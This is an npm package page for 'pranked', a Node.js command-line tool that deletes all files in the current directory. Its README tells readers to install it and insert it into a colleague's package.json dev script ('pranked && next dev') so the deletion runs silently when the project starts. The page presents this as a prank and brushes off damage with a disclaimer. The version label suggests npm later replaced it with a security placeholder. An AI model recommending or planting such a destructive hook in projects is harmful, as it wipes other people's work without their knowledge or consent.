0.0.1-security • Published 2 years ago

pranked v0.0.1-security

Weekly downloads
-
License
-
Repository
-
Last release
2 years ago

pranked

You just got pranked text

Get it on npm

With this simple Node.js command line tool, prank your colleagues by deleting all the files in the current working directory. Insert in package.json scripts for maximum prankster abilities!

⭐ Stars are appreciated!

🚨🚨Warning before we start 🚨🚨

While the tool does push your current code to your remote repo:

git add .
git commit -m "I just got pranked!"
git push

It WILL DELETE EVERYTHING REGARDLESS IF YOU HAVE A VCS SYSTEM OR NOT. Version Control Systems other than git will not automatically push your code to the remote repo, but they will most definitely allow you to restore the deleted files. This is why I HIGHLY emphasize setting up a git repository for your project. It doesn't even have to have a remote, but it is very vital.

DISCLAIMER: I am NOT liable for any damage for this tool. Use it at your own risk, and please don't blame me if things go south. Use wisely.

As Peter Parker was once told,

With great power comes great responsibility.

- Uncle Ben

Getting started

First, let's install the actual thing

If you use npm, run:

npm install pranked

If you use yarn, run:

yarn add pranked

Next, add it to the scripts portion of your package.json

Here is the scripts area from a NextJS package.json with only the dev script shown:

"scripts": {
    "dev": "next dev",
}

Here, I will edit the dev field. This is what it will look like now:

"scripts": {
    "dev": "pranked && next dev",
}

You can always just remove the next dev command and make it only "pranked"

0.0.1-security

2 years ago

1.0.5

2 years ago

1.0.4

2 years ago

1.0.3

2 years ago

1.0.2

2 years ago

1.0.1

2 years ago

1.0.0

2 years ago